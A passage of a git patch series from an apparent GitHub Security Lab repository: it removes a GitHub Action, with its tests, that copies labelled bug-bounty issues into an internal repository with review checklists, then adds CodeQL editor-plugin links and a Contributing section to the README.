-        expect(debugMock).toHaveBeenCalledWith('Invalid issue payload');
-        expect(issue3).toBeUndefined();
-    });
-});
-describe('excludes non bounty issues', () => {
-    it('creates the proper issue', async () => {
-        const debugMock = jest.spyOn(core, 'debug');
-        const issue = await replicate.generateInternalIssueContentFromPayload(TEST_PAYLOAD_NOTBOUNTY);
-        expect(debugMock).toHaveBeenCalledWith('Not a bounty');
-        expect(issue).toBeUndefined();
-    });
-});
-describe('generates proper content', () => {
-    it('creates the proper issue', async () => {
-        const issue = await replicate.generateInternalIssueContentFromPayload(TEST_PAYLOAD);
-        expect(issue).toBeDefined();
-        expect(issue).toEqual(TEST_GENERATED_ISSUE);
-    });
-});
-describe('check for duplicates', () => {
-    it('can find duplicates', async () => {
-        const TEST_REF = 31;
-        const TEST_BODY1 = `Original external [issue](https://github.com/owner/repo/issues/1)\n\nThen there is some text`;
-        const TEST_BODY2 = `Original external [issue](https://github.com/owner/repo/issues/2)\n\nThen there is some text`;
-        const TEST_INTERNAL_ISSUES = [
-            { title: 'issue 1', author: 'author1', body: TEST_BODY1, number: 31 },
-            { title: 'issue 2', author: 'author2', body: TEST_BODY2, number: 33 }
-        ];
-        let foundRef = issues.internalIssueAlreadyCreated('https://github.com/owner/repo/issues/1', TEST_INTERNAL_ISSUES);
-        expect(foundRef).toEqual(TEST_REF);
-        foundRef = issues.internalIssueAlreadyCreated('https://github.com/owner/repo/issues/3', TEST_INTERNAL_ISSUES);
-        expect(foundRef).toBeUndefined();
-    });
-});
-//# sourceMappingURL=replicate.test.js.map
\ No newline at end of file
diff --git a/.github/actions/replicate/__tests__/replicate.test.ts b/.github/actions/replicate/__tests__/replicate.test.ts
deleted file mode 100644
index cdd2c2b..0000000
--- a/.github/actions/replicate/__tests__/replicate.test.ts
+++ /dev/null
@@ -1,139 +0,0 @@
-import * as core from '@actions/core'
-import * as replicate from '../replicate'
-import * as issues from '../issues'
-import { WebhookPayload, PayloadRepository } from '@actions/github/lib/interfaces'
-
-const TEST_ISSUE_1 = 1
-const TEST_REPOSITORY: PayloadRepository = {
-    full_name: 'myuser/myrepo',
-    name: 'myrepo',
-    owner: {
-        login: 'myuser',
-        name: 'My User'
-    }
-}
-
-const TEST_INVALID_PAYLOAD_NOUSER: WebhookPayload = {
-  repository: TEST_REPOSITORY,
-  issue: {
-      number: TEST_ISSUE_1,
-      html_url: 'https://github.com/test_owner/test_repo/issues/1',
-  }
-}
-
-const TEST_INVALID_PAYLOAD_NOURL: WebhookPayload = {
-  repository: TEST_REPOSITORY,
-  issue: {
-      number: TEST_ISSUE_1,
-      user: {
-        login: 'issue_user',
-        html_url: 'https://github.com/users/issue_user'
-      }
-  }
-}
-
-const TEST_INVALID_PAYLOAD_NOISSUE: WebhookPayload = {
-  repository: TEST_REPOSITORY,
-}
-
-const TEST_LABEL_ALLFORONE = { name: 'All For One' }
-const TEST_LABEL_NOTBOUNTY_1 = { name: 'not-a-bounty-label' }
-const TEST_LABEL_NOTBOUNTY_2 = { name: 'not-a-bounty-label-either' }
-
-const TEST_PAYLOAD_NOTBOUNTY: WebhookPayload = {
-  repository: TEST_REPOSITORY,
-  issue: {
-      number: TEST_ISSUE_1,
-      html_url: 'https://github.com/test_owner/test_repo/issues/1',
-      user: {
-        login: 'issue_user',
-        html_url: 'https://github.com/users/issue_user'
-      },
-      labels: [TEST_LABEL_NOTBOUNTY_1,TEST_LABEL_NOTBOUNTY_2],
-  }
-}
-
-const TEST_PAYLOAD: WebhookPayload = {
-  repository: TEST_REPOSITORY,
-  issue: {
-      number: TEST_ISSUE_1,
-      html_url: 'https://github.com/test_owner/test_repo/issues/1',
-      user: {
-        login: 'ghsecuritylab',
-        html_url: 'https://github.com/ghsecuritylab'
-      },
-      title: 'Issue Title',
-      labels: [TEST_LABEL_ALLFORONE,TEST_LABEL_NOTBOUNTY_1],
-      body: `# This is the issue title
-This is the issue body first line
-This is the issue body second line
-`
-  }
-}
-
-const TEST_GENERATED_ISSUE: replicate.Issue = {
-  title: '[All For One] Issue Title',
-  labels: ['All For One','not-a-bounty-label'],
-  bountyType: 'All For One',
-  body: `Original external [issue](https://github.com/test_owner/test_repo/issues/1)
-
-Submitted by [ghsecuritylab](https://github.com/ghsecuritylab)
-
-# This is the issue title
-This is the issue body first line
-This is the issue body second line
-`
-}
-
-describe('log errors when generating issue content', () => {
-  it('outputs a message for invalid issue in payload', async () => {
-    const debugMock = jest.spyOn(core, 'debug')
-    const issue = await replicate.generateInternalIssueContentFromPayload(TEST_INVALID_PAYLOAD_NOURL)
-    expect(debugMock).toHaveBeenCalledWith('Invalid issue payload')
-    expect(issue).toBeUndefined()
-
-    const issue2 = await replicate.generateInternalIssueContentFromPayload(TEST_INVALID_PAYLOAD_NOUSER)
-    expect(debugMock).toHaveBeenCalledWith('Invalid issue payload')
-    expect(issue2).toBeUndefined()
-
-    const issue3 = await replicate.generateInternalIssueContentFromPayload(TEST_INVALID_PAYLOAD_NOISSUE)
-    expect(debugMock).toHaveBeenCalledWith('Invalid issue payload')
-    expect(issue3).toBeUndefined()
-
-  })
-})
-
-describe('excludes non bounty issues', () => {
-  it('creates the proper issue', async () => {
-    const debugMock = jest.spyOn(core, 'debug')
-    const issue = await replicate.generateInternalIssueContentFromPayload(TEST_PAYLOAD_NOTBOUNTY)
-    expect(debugMock).toHaveBeenCalledWith('Not a bounty')
-    expect(issue).toBeUndefined()
-  })
-})
-
-describe('generates proper content', () => {
-  it('creates the proper issue', async () => {
-    const issue = await replicate.generateInternalIssueContentFromPayload(TEST_PAYLOAD)
-    expect(issue).toBeDefined()
-    expect(issue).toEqual(TEST_GENERATED_ISSUE)
-  })
-})
-
-describe('check for duplicates', () => {
-  it('can find duplicates', async () => {
-    const TEST_REF: number = 31
-    const TEST_BODY1 = `Original external [issue](https://github.com/owner/repo/issues/1)\n\nThen there is some text`
-    const TEST_BODY2 = `Original external [issue](https://github.com/owner/repo/issues/2)\n\nThen there is some text`
-    const TEST_INTERNAL_ISSUES: issues.Issue_info[] = [
-      {title: 'issue 1', author: 'author1', body: TEST_BODY1, number: 31},
-      {title: 'issue 2', author: 'author2', body: TEST_BODY2, number: 33}
-    ]
-    let foundRef: number | undefined = issues.internalIssueAlreadyCreated('https://github.com/owner/repo/issues/1', TEST_INTERNAL_ISSUES)
-    expect(foundRef).toEqual(TEST_REF)
-    foundRef = issues.internalIssueAlreadyCreated('https://github.com/owner/repo/issues/3', TEST_INTERNAL_ISSUES)
-    expect(foundRef).toBeUndefined()
-  })
-})
-
-
diff --git a/.github/actions/replicate/action.yml b/.github/actions/replicate/action.yml
deleted file mode 100644
index 8860a2b..0000000
--- a/.github/actions/replicate/action.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-name: 'replicate-action'
-description: 'Replicates bounty internal'
-author: 'xcorail'
-inputs:
-  internal_repo: 
-    description: 'The destination repo for the internal issue'
-    default: 'github/securitylab-bounties'
-  existing_issue:
-    description: 'Launching on existing issues: we check duplicates, and we do not comment the original issue'
-    default: false
-  specific_issue:
-    description: 'Specific issue to replicate, in case of manual trigger'
-    default: ''
-runs:
-  using: 'node12'
-  main: './replicate.js'
\ No newline at end of file
diff --git a/.github/actions/replicate/issues.js b/.github/actions/replicate/issues.js
deleted file mode 100644
index 2afb124..0000000
--- a/.github/actions/replicate/issues.js
+++ /dev/null
@@ -1,94 +0,0 @@
-"use strict";
-var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
-}) : (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    o[k2] = m[k];
-}));
-var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
-    Object.defineProperty(o, "default", { enumerable: true, value: v });
-}) : function(o, v) {
-    o["default"] = v;
-});
-var __importStar = (this && this.__importStar) || function (mod) {
-    if (mod && mod.__esModule) return mod;
-    var result = {};
-    if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
-    __setModuleDefault(result, mod);
-    return result;
-};
-Object.defineProperty(exports, "__esModule", { value: true });
-exports.internalIssueAlreadyCreated = exports.isUserAlreadyParticipant = exports.getIssueList = void 0;
-const core = __importStar(require("@actions/core"));
-const github = __importStar(require("@actions/github"));
-const replicate = __importStar(require("./replicate"));
-exports.getIssueList = async (owner, repo, token, open, checkBountyLabels, per_page) => {
-    if (!token) {
-        core.debug("No valid token for creating issues on the internal repo");
-        return;
-    }
-    try {
-        let result = [];
-        const octokit = new github.GitHub(token);
-        const issueState = open ? 'open' : 'all';
-        // const labelFilter: string = replicate.BOUNTY_LABELS.join(',')
-        const issuesPerPage = per_page ? per_page : 50;
-        let pageNb = 0;
-        do {
-            const issues = await octokit.issues.listForRepo({
-                owner,
-                repo,
-                state: issueState,
-                per_page: issuesPerPage,
-                page: pageNb
-                // labels: labelFilter -- Does not work properly
-            });
-            issues.data.forEach(issue => {
-                var _a;
-                const bountyLabel = checkBountyLabels ? issue.labels.some(label => {
-                    return replicate.BOUNTY_LABELS.includes(label.name);
-                }) : undefined;
-                if (!checkBountyLabels || bountyLabel) {
-                    let item = {
-                        title: issue.title,
-                        author: (_a = issue.user) === null || _a === void 0 ? void 0 : _a.login,
-                        body: issue.body ? issue.body : '',
-                        number: issue.number,
-                        html_url: issue.html_url
-                    };
-                    result.push(item);
-                }
-            });
-            pageNb = (issues.data.length < issuesPerPage) ? -1 : pageNb + 1;
-        } while (pageNb >= 0);
-        return result;
-    }
-    catch (error) {
-        core.debug(error.message);
-        return undefined;
-    }
-};
-exports.isUserAlreadyParticipant = (user, externalSubmissions) => {
-    if (!externalSubmissions)
-        return false;
-    const check = externalSubmissions.some(element => {
-        return (element.author === user);
-    });
-    return check;
-};
-function escapeRegExp(text) {
-    return text.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&');
-}
-exports.internalIssueAlreadyCreated = (externalSubmissionUrl, internalIssues) => {
-    const searchString = new RegExp(escapeRegExp(`Original external [issue](${externalSubmissionUrl})`));
-    let ref = undefined;
-    internalIssues.some(element => {
-        if (element.body.search(searchString) != -1) {
-            ref = element.number;
-            return true;
-        }
-    });
-    return ref;
-};
-//# sourceMappingURL=issues.js.map
\ No newline at end of file
diff --git a/.github/actions/replicate/issues.ts b/.github/actions/replicate/issues.ts
deleted file mode 100644
index de5d6ba..0000000
--- a/.github/actions/replicate/issues.ts
+++ /dev/null
@@ -1,77 +0,0 @@
-import * as core from '@actions/core'
-import * as github from '@actions/github'
-import * as replicate from './replicate'
-
-export type Issue_info = {title: string, author: string, body: string, number: number, html_url?: string}
-type Issue_state = 'open' | 'all' | 'closed' | undefined
-
-export const getIssueList = async (owner: string, repo: string, token: string | undefined, open: boolean, checkBountyLabels: boolean, per_page?: number) : Promise<Issue_info[] | undefined> => {
-    if(!token) {
-        core.debug("No valid token for creating issues on the internal repo")
-        return
-    }
-    try {
-        let result: Issue_info[] = []
-        const octokit = new github.GitHub(token)
-        const issueState: Issue_state = open? 'open' : 'all'
-        // const labelFilter: string = replicate.BOUNTY_LABELS.join(',')
-        const issuesPerPage = per_page? per_page : 50
-        let pageNb = 0
-        do {
-            const issues = await octokit.issues.listForRepo({
-                owner, 
-                repo,
-                state: issueState,
-                per_page: issuesPerPage,
-                page: pageNb
-                // labels: labelFilter -- Does not work properly
-            })
-    
-            issues.data.forEach(issue => {
-                const bountyLabel = checkBountyLabels? issue.labels.some(label => {
-                    return replicate.BOUNTY_LABELS.includes(label.name as replicate.BountyType)
-                }) : undefined
-                if(!checkBountyLabels || bountyLabel){
-                    let item: Issue_info = {
-                        title: issue.title,
-                        author: issue.user?.login,
-                        body: issue.body? issue.body : '',
-                        number: issue.number,
-                        html_url: issue.html_url
-                    }
-                    result.push(item)
-                }
-            });
-            pageNb = (issues.data.length < issuesPerPage)? -1 : pageNb + 1
-        } while (pageNb >= 0)
-        return result
-    } catch(error) {
-        core.debug(error.message)
-        return undefined
-    }
-}
-
-export const isUserAlreadyParticipant = (user: string, externalSubmissions: Issue_info[] | undefined) : boolean => {
-    if(!externalSubmissions)
-        return false
-    const check = externalSubmissions.some( element => {
-        return (element.author === user)
-    })
-    return check
-}
-
-function escapeRegExp(text: string) {
-    return text.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&')
-}
-
-export const internalIssueAlreadyCreated = (externalSubmissionUrl: string | undefined, internalIssues: Issue_info[]) : number | undefined => {
-    const searchString = new RegExp(escapeRegExp(`Original external [issue](${externalSubmissionUrl})`))
-    let ref: number | undefined = undefined
-    internalIssues.some( element => {
-        if(element.body.search(searchString) != -1) {
-            ref = element.number
-            return true
-        }
-    })
-    return ref
-}
diff --git a/.github/actions/replicate/replicate.js b/.github/actions/replicate/replicate.js
deleted file mode 100644
index 42cee35..0000000
--- a/.github/actions/replicate/replicate.js
+++ /dev/null
@@ -1,204 +0,0 @@
-"use strict";
-var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
-}) : (function(o, m, k, k2) {
-    if (k2 === undefined) k2 = k;
-    o[k2] = m[k];
-}));
-var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
-    Object.defineProperty(o, "default", { enumerable: true, value: v });
-}) : function(o, v) {
-    o["default"] = v;
-});
-var __importStar = (this && this.__importStar) || function (mod) {
-    if (mod && mod.__esModule) return mod;
-    var result = {};
-    if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
-    __setModuleDefault(result, mod);
-    return result;
-};
-Object.defineProperty(exports, "__esModule", { value: true });
-exports.createInternalIssue = exports.generateInternalIssueContentFromPayload = exports.BOUNTY_LABELS = void 0;
-const core = __importStar(require("@actions/core"));
-const github = __importStar(require("@actions/github"));
-const issues_1 = require("./issues");
-exports.BOUNTY_LABELS = ['All For One', 'The Bug Slayer'];
-const COMMENT_TASK_LIST_AFO = `## Task List
-
-- **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/file/d/1Uy3JukURoSk-2Bq7EjyagVdpsyvKI67E)**
-- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)**
-
-- [ ] CodeQL Initial assessment - In case of rejection, please record your decision in the comment below:
-  - [ ] Acceptance
-  - [ ] Generate result set and post the URL in the comment
-- [ ] Security Lab assessment - In case of rejection, please record your decision in the comment below: 
-  - [ ] Acceptance
-  - [ ] Score the Vulnerability Impact, the Vulnerability Scope, and the False Positive ratio based on the provided CodeQL result set
-  - [ ] Document your assessments in comments below, for the CodeQL team 
-  - [ ] Provide feedback to the author in the PR
-- [ ] CodeQL assessment:
-  - [ ] Provide feedback to the author in the PR
-  - [ ] Merge the PR into the experimental folder
-  - [ ] Score the Code Maturity and the Documentation
-- [ ] Bounty Payment
-`;
-const COMMENT_TASK_LIST_BS = `## Task List
-- [ ] Security Lab assessment:
-  - [ ] Acceptance
-  - [ ] Confirm the CVE 
-  - [ ] Assess the Vulnerability Impact, the Vulnerability Scope
-  - [ ] Get the CodeQL scores (False Positive ratio, Code Maturity and the Documentation) from the previous query rating
-  - [ ] PR is merged? Finalize the score
-- [ ] Bounty Payment`;
-const COMMENT_TASK_LIST = {
-    'All For One': COMMENT_TASK_LIST_AFO,
-    'The Bug Slayer': COMMENT_TASK_LIST_BS
-};
-const COMMENT_SCORING = `## Scoring
-
-- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)**
-- **Accepted values are: 0 (= NA), or 1 (minimal) to 5 (maximal). Any other value will throw an error**
-
-| Criterion | Score|
-|--- | --- |
-| Vulnerability Impact | | 
-| Vulnerability Scope | | 
-| False Positive | | 
-| Code Maturity | | 
-| Documentation | | 
-
-- [ ] Reject
-- [ ] Reject with thank you reward
-- [ ] Reject with encouragement swag (Decision: Dev Advocacy)
-- [ ] Accept
-`;
-const getIssueFromRef = async (issueRef) => {
-    if (!issueRef)
-        return undefined;
-    const token = process.env['GITHUB_TOKEN'];
-    if (token === undefined)
-        return undefined;
-    const octokit = new github.GitHub(token);
-    const issueResponse = await octokit.issues.get({
-        owner: github.context.repo.owner,
-        repo: github.context.repo.repo,
-        issue_number: Number(issueRef),
-    });
-    return issueResponse.data;
-};
-exports.generateInternalIssueContentFromPayload = async (payload, issueRef) => {
-    const issue = await getIssueFromRef(issueRef) || (payload === null || payload === void 0 ? void 0 : payload.issue);
-    let result = { title: 'none', body: 'none', labels: [], bountyType: 'All For One' };
-    let bountyIssue = false;
-    if (!issue || !issue.user || !issue.html_url) {
-        core.debug("Invalid issue payload");
-        return undefined;
-    }
-    issue.labels.forEach((element) => {
-        result.labels.push(element.name);
-        if (!bountyIssue) {
-            bountyIssue = exports.BOUNTY_LABELS.includes(element.name);
-            if (bountyIssue) {
-                result.bountyType = element.name;
-            }
-        }
-    });
-    if (!bountyIssue) {
-        core.debug("Not a bounty");
-        return undefined;
-    }
-    result.title = `[${result.bountyType}] ${issue.title}`,
-        // In order to differentiate immediately the issues from others in the repo
-        // And with the current situation, the robot with Read access cannot add labels to the issue
-        result.body = `Original external [issue](${issue.html_url})
-
-Submitted by [${issue.user.login}](${issue.user.html_url})
-
-${issue.body ? issue.body : ""}`;
-    return result;
-};
-exports.createInternalIssue = async (issue) => {
-    const internalRepoAccessToken = process.env['INT_REPO_TOKEN'];
-    let internal_ref = undefined;
-    if (!internalRepoAccessToken) {
-        core.debug("No valid token for creating issues on the internal repo");
-        return;
-    }
-    try {
-        const octokit = new github.GitHub(internalRepoAccessToken);
-        const internalRepo = core.getInput('internal_repo') || '/';
-        const [owner, repo] = internalRepo.split('/');
-        const issueResponse = await octokit.issues.create({
-            owner,
-            repo,
-            title: issue.title,
-            body: issue.body,
-            labels: issue.labels
-        });
-        internal_ref = issueResponse.data.number;
-        core.debug(`issue created: ${internal_ref}`);
-        const labelsResponse = await octokit.issues.addLabels({
-            owner,
-            repo,
-            issue_number: internal_ref,
-            labels: issue.labels
-        });
-        core.debug(`Labels addition result: ${labelsResponse.status} ${(labelsResponse.status == 200) ? "OK" : "FAILED"}`);
-        const issueCommentResponse1 = await octokit.issues.createComment({
-            owner,
-            repo,
-            issue_number: internal_ref,
-            body: COMMENT_TASK_LIST[issue.bountyType],
-        });
-        core.debug(`comment created ${issueCommentResponse1.data.url}`);
-        const issueCommentResponse2 = await octokit.issues.createComment({
-            owner,
-            repo,
-            issue_number: internal_ref,
-            body: COMMENT_SCORING,
-        });
-        core.debug(`comment created ${issueCommentResponse2.data.url}`);
-        const issueCard = await octokit.projects.createCard({
-            column_id: (issue.labels.includes(exports.BOUNTY_LABELS[1])) ? 10205381 : 10205379,
-            content_id: internal_ref,
-            content_type: 'issue',
-        });
-        core.debug(`Card creation status: ${issueCard.status}`);
-    }
-    catch (error) {
-        core.debug(error.message);
-    }
-    return internal_ref;
-};
-const checkDuplicates = async (payload) => {
-    var _a;
-    const internalRepoAccessToken = process.env['INT_REPO_TOKEN'];
-    const internalRepo = core.getInput('internal_repo') || '/';
-    const [owner, repo] = internalRepo.split('/');
-    const internalIssues = await issues_1.getIssueList(owner, repo, internalRepoAccessToken, false, false);
-    if (!internalIssues) {
-        core.debug('Internal error. Cannot check for duplicates. Aborting');
-        return true;
-    }
-    else {
-        const ref = issues_1.internalIssueAlreadyCreated((_a = payload.issue) === null || _a === void 0 ? void 0 : _a.html_url, internalIssues);
-        if (ref) {
-            core.debug(`This issue has already been duplicated with reference ${ref}`);
-            return true;
-        }
-    }
-    return false;
-};
-const run = async () => {
-    const internalIssue = await exports.generateInternalIssueContentFromPayload(github.context.payload, core.getInput('specific_issue'));
-    if (!internalIssue)
-        return;
-    if (await checkDuplicates(github.context.payload))
-        return;
-    const internal_ref = await exports.createInternalIssue(internalIssue);
-    if (!internal_ref)
-        return;
-};
-run();
-//# sourceMappingURL=replicate.js.map
diff --git a/.github/actions/replicate/replicate.ts b/.github/actions/replicate/replicate.ts
deleted file mode 100644
index fc1c9e8..0000000
--- a/.github/actions/replicate/replicate.ts
+++ /dev/null
@@ -1,206 +0,0 @@
-import * as core from '@actions/core'
-import * as github from '@actions/github'
-import { WebhookPayload } from '@actions/github/lib/interfaces'
-import { getIssueList, internalIssueAlreadyCreated } from './issues'
-
-export const BOUNTY_LABELS = ['All For One', 'The Bug Slayer'] as const
-export type BountyType = typeof BOUNTY_LABELS[number]
-type CommentMap = {[K in BountyType]: string}
-export type Issue = {title: string, body: string, labels: string[], bountyType: BountyType}
-type GitHubIssue = { [key: string]: any, number: number, html_url?: string | undefined, body?: string | undefined}
-
-const COMMENT_TASK_LIST_AFO = `## Task List
-
-- **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/file/d/1Uy3JukURoSk-2Bq7EjyagVdpsyvKI67E)**
-- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)**
-
-- [ ] CodeQL Initial assessment - In case of rejection, please record your decision in the comment below:
-  - [ ] Acceptance
-  - [ ] Generate result set and post the URL in the comment
-- [ ] Security Lab assessment - In case of rejection, please record your decision in the comment below: 
-  - [ ] Acceptance
-  - [ ] Score the Vulnerability Impact, the Vulnerability Scope, and the False Positive ratio based on the provided CodeQL result set
-  - [ ] Document your assessments in comments below, for the CodeQL team 
-  - [ ] Provide feedback to the author in the PR
-- [ ] CodeQL assessment:
-  - [ ] Provide feedback to the author in the PR
-  - [ ] Merge the PR into the experimental folder
-  - [ ] Score the Code Maturity and the Documentation
-- [ ] Bounty Payment
-`
-
-const COMMENT_TASK_LIST_BS = `## Task List
-- [ ] Security Lab assessment:
-  - [ ] Acceptance
-  - [ ] Confirm the CVE 
-  - [ ] Assess the Vulnerability Impact, the Vulnerability Scope
-  - [ ] Get the CodeQL scores (False Positive ratio, Code Maturity and the Documentation) from the previous query rating
-  - [ ] PR is merged? Finalize the score
-- [ ] Bounty Payment`
-
-const COMMENT_TASK_LIST: CommentMap = {
-    'All For One': COMMENT_TASK_LIST_AFO,
-    'The Bug Slayer': COMMENT_TASK_LIST_BS
-}
-
-const COMMENT_SCORING = `## Scoring
-
-- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)**
-- **Accepted values are: 0 (= NA), or 1 (minimal) to 5 (maximal). Any other value will throw an error**
-
-| Criterion | Score|
-|--- | --- |
-| Vulnerability Impact | | 
-| Vulnerability Scope | | 
-| False Positive | | 
-| Code Maturity | | 
-| Documentation | | 
-
-- [ ] Reject
-- [ ] Reject with thank you reward
-- [ ] Reject with encouragement swag (Decision: Dev Advocacy)
-- [ ] Accept
-`
-
-const getIssueFromRef = async (issueRef: string | undefined): Promise<GitHubIssue | undefined> => {
-    if(!issueRef)
-        return undefined
-    const token: string | undefined = process.env['GITHUB_TOKEN']
-    if(token === undefined)
-        return undefined
-    const octokit: github.GitHub = new github.GitHub(token)
-    const issueResponse = await octokit.issues.get({
-        owner: github.context.repo.owner,
-        repo: github.context.repo.repo,
-        issue_number: Number(issueRef),
-      });
-    return issueResponse.data  
-}
-
-export const generateInternalIssueContentFromPayload = async (payload?: WebhookPayload, issueRef?: string): Promise<Issue | undefined> => {
-    const issue = await getIssueFromRef(issueRef) || payload?.issue
-    let result: Issue = {title: 'none', body: 'none', labels: [], bountyType: 'All For One'}
-    let bountyIssue: boolean = false
-
-    if(!issue || !issue.user || !issue.html_url) {
-        core.debug("Invalid issue payload")
-        return undefined
-    }
-
-    issue.labels.forEach((element:any) => {
-        result.labels.push(element.name)
-        if(!bountyIssue) {
-            bountyIssue = BOUNTY_LABELS.includes(element.name)
-            if(bountyIssue) {
-                result.bountyType = element.name
-            }
-        }
-    });
-
-    if(!bountyIssue) {
-        core.debug("Not a bounty")
-        return undefined
-    }
-
-    result.title = `[${result.bountyType}] ${issue.title}`,
-    // In order to differentiate immediately the issues from others in the repo
-    // And with the current situation, the robot with Read access cannot add labels to the issue
-    result.body = `Original external [issue](${issue.html_url})
-
-Submitted by [${issue.user.login}](${issue.user.html_url})
-
-${issue.body? issue.body : ""}`
-
-    return result
-}
-
-export const createInternalIssue = async (issue: Issue) : Promise<number | undefined> => {
-    const internalRepoAccessToken: string | undefined = process.env['INT_REPO_TOKEN']
-    let internal_ref: number | undefined = undefined
-
-    if(!internalRepoAccessToken) {
-        core.debug("No valid token for creating issues on the internal repo")
-        return
-    }
-    try {
-        const octokit: github.GitHub = new github.GitHub(internalRepoAccessToken)
-        const internalRepo = core.getInput('internal_repo') || '/'
-        const [owner, repo] = internalRepo.split('/')
-        const issueResponse = await octokit.issues.create( {
-            owner,
-            repo,
-            title: issue.title,
-            body: issue.body,
-            labels: issue.labels
-        })        
-        internal_ref = issueResponse.data.number
-        core.debug(`issue created: ${internal_ref}`)
-        const labelsResponse = await octokit.issues.addLabels( {
-            owner,
-            repo,
-            issue_number: internal_ref,
-            labels: issue.labels
-        })
-        core.debug(`Labels addition result: ${labelsResponse.status} ${(labelsResponse.status==200)? "OK" : "FAILED"}`)
-
-        const issueCommentResponse1 = await octokit.issues.createComment({
-            owner,
-            repo,
-            issue_number: internal_ref,
-            body: COMMENT_TASK_LIST[issue.bountyType],
-        })
-        core.debug(`comment created ${issueCommentResponse1.data.url}`)
-
-        const issueCommentResponse2 = await octokit.issues.createComment({
-            owner,
-            repo,
-            issue_number: internal_ref,
-            body: COMMENT_SCORING,
-        })
-        core.debug(`comment created ${issueCommentResponse2.data.url}`)
-
-        const issueCard = await octokit.projects.createCard({
-            column_id: (issue.labels.includes(BOUNTY_LABELS[1]))? 10205381 : 10205379,
-            content_id: internal_ref,
-            content_type: 'issue',
-        });
-        core.debug(`Card creation status: ${issueCard.status}`)
-
-    } catch(error) {
-        core.debug(error.message)
-    }
-    return internal_ref
-}
-
-const checkDuplicates = async (payload: WebhookPayload): Promise<boolean> => {
-    const internalRepoAccessToken: string | undefined = process.env['INT_REPO_TOKEN']
-    const internalRepo = core.getInput('internal_repo') || '/'
-    const [owner, repo] = internalRepo.split('/')
-    const internalIssues = await getIssueList(owner, repo, internalRepoAccessToken, false, false)
-    if(!internalIssues) {
-        core.debug('Internal error. Cannot check for duplicates. Aborting')
-            return true
-    } else {
-        const ref = internalIssueAlreadyCreated(payload.issue?.html_url, internalIssues)
-        if(ref) {
-            core.debug(`This issue has already been duplicated with reference ${ref}`)
-            return true
-        }
-    }
-    return false
-}
-
-const run = async (): Promise<void> => {
-    const internalIssue = await generateInternalIssueContentFromPayload(github.context.payload, core.getInput('specific_issue'))
-    if(!internalIssue)
-        return
-
-    if(await checkDuplicates(github.context.payload)) 
-        return
-
-    const internal_ref = await createInternalIssue(internalIssue)
-    if(!internal_ref)
-        return
-}
-
-run()

From 896ab82c9eda7f9df5bb5883a0493e8b48211308 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Wed, 24 Feb 2021 11:28:54 +0000
Subject: [PATCH 013/104] Add links to editor plug-ins.

---
 README.md | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/README.md b/README.md
index 67f7e06..9938071 100644
--- a/README.md
+++ b/README.md
@@ -42,3 +42,9 @@ We use it for these main purposes:
   * [Vulnerability Hunting: Quest for an Exploit using QL](https://www.youtube.com/watch?v=irrYp3wdtsw)
   * [Finding Insecure Deserialization in Java](https://www.youtube.com/watch?v=XsUcSd75K00)
   * [Finding integer overflows in Libssh2](https://www.youtube.com/watch?v=czXicfULOfk)
+
+### Tools
+
+* Editor plugins
+  * [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql)
+  * [Neovim](https://github.com/pwntester/codeql.nvim)

From 8d0124f250e581bfe0d6b19fae3c18734e2d6e9d Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kev@semmle.com>
Date: Thu, 25 Feb 2021 11:59:03 +0000
Subject: [PATCH 014/104] Update README.md

Co-authored-by: Xavier RENE-CORAIL <xcorail@github.com>
---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 9938071..54d7dfa 100644
--- a/README.md
+++ b/README.md
@@ -46,5 +46,5 @@ We use it for these main purposes:
 ### Tools
 
 * Editor plugins
-  * [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql)
+  * [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) (Official)
   * [Neovim](https://github.com/pwntester/codeql.nvim)

From 986e6155f30a5b9477b93779e1b73858f5d8d536 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Tue, 23 Feb 2021 17:15:55 +0000
Subject: [PATCH 015/104] Add Contributing section.

---
 README.md | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/README.md b/README.md
index 54d7dfa..299c328 100644
--- a/README.md
+++ b/README.md
@@ -9,6 +9,8 @@ We use it for these main purposes:
 
 ## CodeQL Resources
 
+We welcome contributions to this section. For example, if you have written a blog post about a cool CodeQL query and would like to add a link to it here, then please open a pull request. See [Contributing](#Contributing) below.
+
 ### Official resources
 
 * [CodeQL documentation](https://codeql.github.com/docs/)
@@ -48,3 +50,10 @@ We use it for these main purposes:
 * Editor plugins
   * [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) (Official)
   * [Neovim](https://github.com/pwntester/codeql.nvim)
+
+## Contributing
+
